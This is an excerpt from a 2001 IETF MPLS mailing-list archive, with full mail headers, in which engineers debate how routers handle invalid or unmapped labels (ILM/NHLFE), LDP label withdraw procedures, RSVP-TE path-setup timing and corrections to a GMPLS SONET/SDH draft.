"When a labeled packet is traveling along an LSP, it may occasionally
happen that it reaches an LSR at which the incoming label does not map
to an NHLFE, even though the incoming label is itself valid.  This can
happen due to transient conditions, or due to an error at the LSR which
should be the packet's next hop."

The wording of the original specification implies that an ILM
will exist in an implementation when there is a valid label and
that ILM does not necessarily point to an NHLFE - and this
is not necessarily true for all implementations.   I did - at one
time - write an internet draft that pointed out that there were a
lot of implementation specific assumptions in the architecture
draft.  Others reported similar issues and at least some of them
were removed.  This one just doesn't seem that important...


>
>
> I am assuming that the situation described ("the ILM does not map the
> packet's incoming label into an NHLFE") is different from "there is no
> ILM for the label".

Note that the text does say that the label is valid.  I suspect
that - like many people - you are equating

    <valid label> = <ILM exists>

Whether or not this is always the case is not an important point.
If this is the way you want to express your point, then I agree
with your point (if not your expression of it).

>
>
> >     For example, many implementations might use a 'default' NHLFE
> > which looks, acts and even quacks like a bit-bucket.  This would
> > allow them to have a useful ILM when there is no useable next hop
> > information at the time.  But such an implementation may also have
> > a set of NHLFEs that are more sophisticated.
>
> If a default NHLFE is created for every ILM, then the situation
> described will never happen.  But I question the usefulness of having
> default NHLFEs.  They are likely to create situations where packets will
> loop, or the router may try to forward non-IP traffic as if it was IP.

Pardon me.  In the architectural model, an ILM maps to an NHLFE.
There is absolutely no requirement that there be a separate NHLFE
for each ILM.  A single 'default' NHLFE will do.  And apparently the
term 'bit-bucket' is dating me - it means the place you put dead bits
when you no longer need them.  If you are mapping all packets to the
bit-bucket by default, then you hardly need to concern yourself about
looping packets as a result.

You can argue that this is trivializing your distinction of an ILM that
does not map to an NHLFE.  I would disagree.  If you assume that an
ILM always maps to some NHLFE (including the 'default' NHLFE),
then how an implementation deals with a legitimate label becomes
clear in every case.  For example, if - as a result of signaling - I know
that I have a fall back mode that allows me to forward packets using
IP, then I can have a corresponding fall-back NHLFE.  Otherwise, my
fall-back NHLFE might be 'see a packet, drop a packet'.  I am simply
trying to increase the level of general understanding for the terms and
concepts.

>
>
> (Yes, I am aware that LDP doesn't support non-IP traffic.  But RFC 3031
> is not LDP.  And the concepts of ILM and NHLFE are forwarding, not
> signaling concepts.)

Actually, you may be thinking more of RFC 3032.  Much of RFC 3031
is devoted to signaling aspects of the MPLS architecture. The term
LDP was first coined in RFC 3031.

In at least some implementations, control of ILMs and NHLFEs
depends mostly on signaling.  These terms are needed as much to
understand signaling as they are needed to understand forwarding.
For example, an NHLFE does not just disappear: it is removed and
this is typically done in cooperation with (if not by) the process
that is also handling signaling.

>
>
> -- David

--
Eric




From owner-mpls@UU.NET  Wed May 23 19:55:22 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA18012
	for <mpls-archive@lists.ietf.org>; Wed, 23 May 2001 19:55:21 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqhz13487;
	Wed, 23 May 2001 23:54:31 GMT
Received: by mail-control.mail.uu.net 
	id QQkqhz01091
	for mpls-outgoing; Wed, 23 May 2001 23:53:59 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkqhz01075
	for <mpls@mail-control.mail.uu.net>; Wed, 23 May 2001 23:53:46 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkqhz15793
	for <mpls@UU.NET>; Wed, 23 May 2001 23:53:20 GMT
Received: from radiant.chromisys.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: radiant.calient.net [63.102.55.206])
	id QQkqhz21932
	for <mpls@UU.NET>; Wed, 23 May 2001 23:53:19 GMT
Received: by radiant.chromisys.com with Internet Mail Service (5.5.2653.19)
	id <LD7RLWMY>; Wed, 23 May 2001 16:48:33 -0700
Message-ID: <A1AFE5CF886C5D439494D9D5DE84EEF373704D@radiant.chromisys.com>
From: John Drake <jdrake@calient.net>
To: "'Harry Mantakos'" <harry@meretrix.com>, John Drake <jdrake@calient.net>
Cc: "'Adam Shepherd'" <AS@dataconnection.com>, ccamp@ops.ietf.org, mpls@UU.NET
Subject: RE: Timing of the upstream data path establishment 
Date: Wed, 23 May 2001 16:48:31 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Harry,

I'm sorry, but I didn't realize that the admonition about not forwarding the
Path before the reverse
path had been configured had been added to the draft.  I think it's a
mistake and should be removed.

As Adrian points out, we discussed the issue many times and decided that it
wasn't worth worrying
about, since the devices we're talking about had a configuration latency
comparable to per hop
message processing latency;  i.e., O(msecs).  Moreover, as Adrian further
points out, many people that
are aware of the admonition ignore it.

If the egress device is really worried about when it can start transmitting,
it can always request
a Resv Confirm.

Thanks,

John

-----Original Message-----
From: Harry Mantakos [mailto:harry@meretrix.com]
Sent: Wednesday, May 23, 2001 12:12 PM
To: John Drake
Cc: 'Adam Shepherd'; ccamp@ops.ietf.org; mpls@UU.NET
Subject: Re: Timing of the upstream data path establishment 


>I don't think that this is an issue.  Suggested label allows a node to
begin
>to establish the forward direction as it progresses the Path message.
Since
>it controls the labels in the reverse direction, it can also begin to
>establish the reverse direction concurrently.

As I understand it, suggested label allows a single node to do
whatever hardware preparation is required for the upstream and
downstream data flows in parallel, but this preparation is
still necessarily done at each node in the path sequentially.
If it takes 'T' time to prep hardware for a single direction at a
single node, and there are 'N' nodes, you're looking at something
on the order of TN to establish the LSP. In the absence of suggested
label, you'd be looking at something like 2TN.

The suggested "3-way handshake" allows "preparation" to be done
at all nodes in the path in parallel. The circuit establishment
time can be reduced to something on the order of T (assuming suggested
label was chosen).
-harry


From owner-mpls@UU.NET  Wed May 23 22:12:47 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA20747
	for <mpls-archive@lists.ietf.org>; Wed, 23 May 2001 22:12:47 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqii22661;
	Thu, 24 May 2001 02:12:13 GMT
Received: by mail-control.mail.uu.net 
	id QQkqii14045
	for mpls-outgoing; Thu, 24 May 2001 02:11:41 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqii14019
	for <mpls@mail-control.mail.uu.net>; Thu, 24 May 2001 02:11:36 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqii15586
	for <mpls@UU.NET>; Thu, 24 May 2001 02:11:00 GMT
Received: from localhost.localdomain by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [164.164.70.54])
	id QQkqii22988
	for <mpls@UU.NET>; Thu, 24 May 2001 02:10:57 GMT
Received: from cheetah (IDENT:tomar@cheetah [127.0.0.1])
	by localhost.localdomain (8.11.0/8.11.0) with ESMTP id f4O2Ecd02042;
	Thu, 24 May 2001 07:44:40 +0530
Date: Thu, 24 May 2001 07:44:38 +0530 (IST)
From: Nagendra Singh Tomar <nagendras@netbrahma.com>
X-Sender: tomar@localhost.localdomain
Reply-To: nagendras@netbrahma.com
To: David Charlap <david.charlap@marconi.com>
cc: mpls@UU.NET
Subject: Re: What to do when label has error?
In-Reply-To: <3B0BCA23.C9DA581B@marconi.com>
Message-ID: <Pine.LNX.4.21.0105240740180.2036-100000@localhost.localdomain>
Organization: NetBrahma Technologies
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk

David,
       One statement in ur reply is confusing. I am quoting it here :
>(RSVP-TE carries the L3 protocol ID in
>the LABEL_REQUEST objects, so transit routers should know if the payload
>is IP or not)
But if the label itself is wrong, i.e the router does'nt recognize the
label then how can it  know the L3 protocol associated with that label.
The transit routers will associate L3 protocol with labels and store it in
the LIB, so that information can only be accessed if the label is
recognized ..
Is'nt it ???

tomar



On Wed, 23 May 2001, David Charlap wrote:

> Akshat Kapoor wrote:
> > 
> >     Refer to rfc 3031 section 3.18 and 3.22. If the LSR can
> > determine through some external means that forwarding the packet is
> > not going to result in a loop (or any other harm) than it can
> > forward the packet.
> 
> And this is a big IF.  When LDP or CR-LDP are used to signal the LSP, a
> transit router has no way of knowing for certain if the payload contains
> IP packets or something else.  (RSVP-TE carries the L3 protocol ID in
> the LABEL_REQUEST objects, so transit routers should know if the payload
> is IP or not, assuming that the ingress node didn't lie about it.)
> 
> > Otherwise it MUST drop the packet.  The rfc is silent about
> > generating ICMP messages in such a situation.
> 
> ICMP is only meaningful if the payload is IP.  If it's something else,
> ICMP would be completely inappropriate.
> 
> -- David
> 



From owner-mpls@UU.NET  Wed May 23 22:27:11 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA20845
	for <mpls-archive@lists.ietf.org>; Wed, 23 May 2001 22:27:11 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqij02295;
	Thu, 24 May 2001 02:25:47 GMT
Received: by mail-control.mail.uu.net 
	id QQkqij15161
	for mpls-outgoing; Thu, 24 May 2001 02:25:15 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqij15147
	for <mpls@mail-control.mail.uu.net>; Thu, 24 May 2001 02:24:59 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkqij20403
	for <mpls@UU.NET>; Thu, 24 May 2001 02:23:30 GMT
Received: from localhost.localdomain by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [164.164.70.54])
	id QQkqij00033
	for <mpls@UU.NET>; Thu, 24 May 2001 02:23:27 GMT
Received: from cheetah (IDENT:tomar@cheetah [127.0.0.1])
	by localhost.localdomain (8.11.0/8.11.0) with ESMTP id f4O2RCd02055;
	Thu, 24 May 2001 07:57:12 +0530
Date: Thu, 24 May 2001 07:57:12 +0530 (IST)
From: Nagendra Singh Tomar <nagendras@netbrahma.com>
X-Sender: tomar@localhost.localdomain
Reply-To: nagendras@netbrahma.com
To: David Charlap <david.charlap@marconi.com>
cc: mpls@UU.NET
Subject: Re: What to do when label has error?
In-Reply-To: <3B0BE41D.4485EFC8@marconi.com>
Message-ID: <Pine.LNX.4.21.0105240749210.2036-100000@localhost.localdomain>
Organization: NetBrahma Technologies
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk


David,
      What do u mean by "popping the label and checking whether we have an
ILM for the next label on the stack if any".
Even if we have an ILM entry for that label that might not be meaningful
to us at all as it would not have been advertised by us (the fact that we
have an ILM entry for that label is purely coincidental and we might
have advertised that label for an altogether different FEC to an
altogether different peer), this might be
the case when we are an intermediate router in an LSP tunnel. 
In that case "checking the nextlabel" will do more harm than good !!!

cheers
tomar



On Wed, 23 May 2001, David Charlap wrote:

> Sherry Wei wrote:
> > 
> > ILM is incoming label mapping. I guess if the route can't find ILM
> > entrance according to the incoming label. It still can strip off the
> > label stack and send to IP forwarding processing. Only in the case
> > of FEC can't find, the packet has to be dropped definitely.
> 
> If the ILM is missing, then you have absolutely no idea what kind of
> data may be in that packet.  This is by definition.  If you knew, then
> you would have an ILM entry.
> 
> Since you don't know what the packet contains, you MUST NOT assume that
> it contains IP data.
> 
> The best you can hope for in this case is to pop the label stack, and
> see if there's another label underneath that you do have an ILM for.  If
> not, then you have no choice but to drop the content.
> 
> -- David
> 



From owner-mpls@UU.NET  Thu May 24 08:04:58 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA11487
	for <mpls-archive@lists.ietf.org>; Thu, 24 May 2001 08:04:58 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqjw06223;
	Thu, 24 May 2001 12:03:39 GMT
Received: by mail-control.mail.uu.net 
	id QQkqjw19369
	for mpls-outgoing; Thu, 24 May 2001 12:03:06 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkqjw19338
	for <mpls@mail-control.mail.uu.net>; Thu, 24 May 2001 12:03:02 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqjw28963
	for <mpls@uu.net>; Thu, 24 May 2001 12:02:21 GMT
Received: from gateway.ipinfusion.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: gt.dmlnet.com [209.11.132.18])
	id QQkqjw04100
	for <mpls@uu.net>; Thu, 24 May 2001 12:02:20 GMT
Received: from ipinfusion.com (IDENT:root@[10.10.0.38])
	by gateway.ipinfusion.com (8.11.0/8.11.0) with ESMTP id f4OBxKf22620
	for <mpls@uu.net>; Thu, 24 May 2001 04:59:21 -0700
Message-ID: <3B0CF998.58739576@ipinfusion.com>
Date: Thu, 24 May 2001 05:07:52 -0700
From: Manoj Dutta <manoj@ipinfusion.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.2 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Label Withdraw Message !!
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi,

According to RFC 3036 section A.1.5  LWd.7, a recognize new FEC event is
generated when LSR is using
downstream on demand with independent control.  Lets consider a scenario
where LSR A gets withdraw msg
from LSR B.

1) What if the LSR B is not  a next hop (according to routing table
entries)? Does LSR A still need to send label request to this LSR B (a
consequence of LWd.7)?

2) Also, does LSR A need to send mappings again to all other relevant
peers (again consequence of LWd.7). If it does that, will it use
InitAttributes as the label mapping attributes ?  I think LSR A should
not be resending the mappings again.

Thanks in advance
manoj





From owner-mpls@UU.NET  Thu May 24 09:34:03 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA13065
	for <mpls-archive@lists.ietf.org>; Thu, 24 May 2001 09:33:57 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqkc01760;
	Thu, 24 May 2001 13:32:59 GMT
Received: by mail-control.mail.uu.net 
	id QQkqkc25516
	for mpls-outgoing; Thu, 24 May 2001 13:32:23 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqkc25478
	for <mpls@mail-control.mail.uu.net>; Thu, 24 May 2001 13:32:02 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqkc10672
	for <mpls@UU.NET>; Thu, 24 May 2001 13:31:21 GMT
Received: from sandmail.sandburst.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandburst-gw.bstn-gw02.ma.us.intelilink.net [216.57.129.34])
	id QQkqkc29306
	for <mpls@UU.NET>; Thu, 24 May 2001 13:31:20 GMT
Received: from sandburst.com (pediment.sandburst.com [172.16.5.210])
	by sandmail.sandburst.com (Postfix) with ESMTP
	id 3487594006; Thu, 24 May 2001 09:31:20 -0400 (EDT)
Message-ID: <3B0D0D28.F1D9DC4C@sandburst.com>
Date: Thu, 24 May 2001 09:31:20 -0400
From: Eric Gray <eric.gray@sandburst.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Manoj Dutta <manoj@ipinfusion.com>
Cc: mpls@UU.NET
Subject: Re: Label Withdraw Message !!
References: <3B0CF998.58739576@ipinfusion.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Manoj,


You wrote:

> Hi,
>
> According to RFC 3036 section A.1.5  LWd.7, a recognize new FEC event is
> generated when LSR is using downstream on demand with independent control.
> Lets consider a scenario where LSR A gets withdraw msg from LSR B.
>
> 1) What if the LSR B is not  a next hop (according to routing table
> entries)? Does LSR A still need to send label request to this LSR B (a
> consequence of LWd.7)?

You need to consider that the procedures are executed serially
and completely.  As has been stated previously, the procedures
in the Appendix of the LDP specification are not intended to be
a complete computer program.

Hence, you should consider that - if a label was previously
retained from LSR B because it was the next hop, LSR B is
no longer the next hop and this may be the reason why LSR
B is withdrawing the label - then a new next hop procedure
has already been called (or will be called soon).  Thinking
about the procedures in this way, you should realize that -
if LSR A has retained a label from LSR B - it is because
LSR A wants to have a label from LSR B.  This would be
the case if LSR B is the next hop for the FEC in question,
but it would also be the case if LSR A is using liberal label
retention.  Without spending too many seconds on whether
or not it really makes sense to combine DoD, liberal label
retention and independent control - if you are using this
combination, then you have to request a new label from any
downstream peer any time the downstream peer withdraws
one.  This would be the case whether or not the downstream
peer is the current next hop or not.

>
>
> 2) Also, does LSR A need to send mappings again to all other relevant
> peers (again consequence of LWd.7). If it does that, will it use
> InitAttributes as the label mapping attributes ?  I think LSR A should
> not be resending the mappings again.

And it will not (theoretically, at least) if it is in DoD.  This
is not guaranteed, however likely it is to be true, because it
is possible for an LSR to be using DoD distribution WRT a
downstream peer and DU distribution WRT an upstream
peer.  However, again, the procedures are not a complete
computer program and an implementer may have to use some
degree of judgement.

>
>
> Thanks in advance
> manoj

Hope this helps,

--
Eric Gray




From owner-mpls@UU.NET  Thu May 24 09:57:43 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA13564
	for <mpls-archive@lists.ietf.org>; Thu, 24 May 2001 09:57:42 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqkd01062;
	Thu, 24 May 2001 13:55:51 GMT
Received: by mail-control.mail.uu.net 
	id QQkqkd28146
	for mpls-outgoing; Thu, 24 May 2001 13:55:15 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqkd28120
	for <mpls@mail-control.mail.uu.net>; Thu, 24 May 2001 13:54:59 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqkd10836
	for <mpls@uu.net>; Thu, 24 May 2001 13:54:38 GMT
Received: from sj-msg-core-2.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-2.cisco.com [171.69.24.11])
	id QQkqkd00507
	for <mpls@uu.net>; Thu, 24 May 2001 13:54:38 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f4ODsdU28634
	for <mpls@uu.net>; Thu, 24 May 2001 06:54:39 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id JAA06426 for mpls@uu.net; Thu, 24 May 2001 09:54:36 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkqhk07148
	for <mpls@mail-control.mail.uu.net>; Wed, 23 May 2001 20:09:16 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqhk10162
	for <mpls@UU.NET>; Wed, 23 May 2001 20:08:54 GMT
Received: from smtp1.gtsgroup.com by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: smtp1.gtsgroup.com [195.158.230.16])
	id QQkqhk16485
	for <mpls@UU.NET>; Wed, 23 May 2001 20:08:54 GMT
Received: from 207.77.231.73 by smtp1.gtsgroup.com (InterScan E-Mail VirusWall NT); Wed, 23 May 2001 21:59:02 +0200 (W. Europe Daylight Time)
Received: by brubhdpnt01.gtsgroup.com with Internet Mail Service (5.5.2653.19)
	id <LNY2JQ42>; Wed, 23 May 2001 22:07:40 +0200
Message-ID: <D52BF6463BA3D311BFA700508B63C5AA04214642@brumsgpnt01.gtsgroup.com>
From: "Mannie, Eric" <Eric.Mannie@ebone.com>
To: "'Saha, Sayandeb'" <ssaha@netplane.com>
Cc: "'ccamp@ops.ietf.org'" <ccamp@ops.ietf.org>,
        "'mpls@UU.NET'"
	 <mpls@UU.NET>
Subject: RE: Editorial comments on draft-ietf-ccamp-gmpls-sonet-sdh-00.txt
Date: Wed, 23 May 2001 22:07:40 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Dear Sayan,

Thanks for the comments. However note that when requesting transparency for
an STS-48 signal for instance, the signal type to use is STS-48. You cant'
concatenate STS-1's since concatenation of STS-1 is not defined, but
concatenation of STS-1 SPE's is. If you ask the concatenation of 48 x STS-1
SPE's you are not speaking about the frame with its overhead, so you cannot
request transparency. So we took the decision to use well defined signal
types when requesting transparency (e.g. STS-48). And we took the convention
to indicate in NCC the number of SPE's in that signal that must be
concatenated. It took us some time to find a way to code each possible
signal in a non ambiguous way. So I the original examples are correct.

Kind regards,

Eric

-----Original Message-----
From: Saha, Sayandeb [mailto:ssaha@netplane.com]
Sent: Wednesday, May 23, 2001 9:10 PM
To: Mannie, Eric
Cc: 'ccamp@ops.ietf.org'; 'mpls@UU.NET'
Subject: Editorial comments on draft-ietf-ccamp-gmpls-sonet-sdh-00.txt 


Hi ALL,
I noticed the following in section 4 of
draft-ietf-ccamp-gmpls-sonet-sdh-00.txt .

 The example number 16 is ...

16. An STS-48c signal with LOH DCC and E2 transparency is formed
   by the application of CCT with Type 1, NCC with value 48, NVC with
   value 0, MT with value 1 and T with flag 5 and 10 to an STS-48
   Elementary Signal.

It should be 

   An STS-48c signal with LOH DCC and E2 transparency is formed
   by the application of CCT with Type 1, NCC with value 48, NVC with
   value 0, MT with value 1 and T with flag 5 and 10 to an STS-1 SPE
   Elementary Signal.

The example number 17 is ...

17. An STS-768c signal with K1/K2 and LOH DCC transparency is
   formed by the application of CCT with Type 1, NCC with value 768,
   NVC with value 0, MT with value 1 and T with flag 5 and 7 to an
   STS-768 Elementary Signal.

It should be 

   An STS-768c signal with K1/K2 and LOH DCC transparency is
   formed by the application of CCT with Type 1, NCC with value 768,
   NVC with value 0, MT with value 1 and T with flag 5 and 7 to an
   STS-1 SPE Elementary Signal.

Regards
-Sayan






From owner-mpls@UU.NET  Thu May 24 09:58:13 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA13581
	for <mpls-archive@lists.ietf.org>; Thu, 24 May 2001 09:58:12 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqkd01153;
	Thu, 24 May 2001 13:57:23 GMT
Received: by mail-control.mail.uu.net 
	id QQkqkd28283
	for mpls-outgoing; Thu, 24 May 2001 13:56:47 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkqkd28265
	for <mpls@mail-control.mail.uu.net>; Thu, 24 May 2001 13:56:38 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqkd09660
	for <mpls@uu.net>; Thu, 24 May 2001 13:55:18 GMT
Received: from sj-msg-core-2.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-2.cisco.com [171.69.24.11])
	id QQkqkd00778
	for <mpls@uu.net>; Thu, 24 May 2001 13:55:17 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f4ODtIU28906
	for <mpls@uu.net>; Thu, 24 May 2001 06:55:18 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id JAA06459 for mpls@uu.net; Thu, 24 May 2001 09:55:15 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkqjl12388
	for <mpls@mail-control.mail.uu.net>; Thu, 24 May 2001 09:19:12 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqjl15170
	for <mpls@UU.NET>; Thu, 24 May 2001 09:18:51 GMT
Received: from web8001.mail.in.yahoo.com by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: web8001.in.yahoo.com [203.199.70.19])
	id QQkqjl17245
	for <mpls@UU.NET>; Thu, 24 May 2001 09:18:51 GMT
Message-ID: <20010524092717.21308.qmail@web8001.mail.in.yahoo.com>
Received: from [203.190.136.98] by web8001.mail.in.yahoo.com; Thu, 24 May 2001 10:27:17 BST
Date: Thu, 24 May 2001 10:27:17 +0100 (BST)
From: =?iso-8859-1?q?divya=20mattey?= <divya_mattey@yahoo.co.in>
To: mpls@UU.NET
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit

Hi,
Can anybody tell me what is 'auto refresh loop' in
RSVP? RFC2205 is not very clear about that.

Thanks,
- Divya.


____________________________________________________________
Do You Yahoo!?
For regular News updates go to http://in.news.yahoo.com



From owner-mpls@UU.NET  Thu May 24 13:58:36 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA18126
	for <mpls-archive@lists.ietf.org>; Thu, 24 May 2001 13:58:35 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqkt26135;
	Thu, 24 May 2001 17:55:42 GMT
Received: by mail-control.mail.uu.net 
	id QQkqkt20991
	for mpls-outgoing; Thu, 24 May 2001 17:55:09 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqkt20889
	for <mpls@mail-control.mail.uu.net>; Thu, 24 May 2001 17:54:55 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkqkt20651
	for <mpls@UU.NET>; Thu, 24 May 2001 17:54:11 GMT
Received: from yarilo.pluris.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [208.227.9.200])
	id QQkqkt24677
	for <mpls@UU.NET>; Thu, 24 May 2001 17:53:40 GMT
Received: from pluris.com (do101085.pluris.com [172.16.55.241])
	by yarilo.pluris.com (8.9.2/8.9.1) with ESMTP id KAA15979;
	Thu, 24 May 2001 10:52:16 -0700 (PDT)
Message-ID: <3B0D4A50.65746D4E@pluris.com>
Date: Thu, 24 May 2001 10:52:16 -0700
From: Chris Kuszmaul <fyodor@pluris.com>
Organization: Pluris
X-Mailer: Mozilla 4.7 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Manoj Dutta <manoj@ipinfusion.com>
CC: mpls@UU.NET
Subject: Re: Label Withdraw Message !!
References: <3B0CF998.58739576@ipinfusion.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Regarding your first question:
   When LSR A gets a label withdrawal from B:
   If A is performing liberal label retention, then it is not unreasonable
to request a new label of B, even if B is not presently the next hop from A.
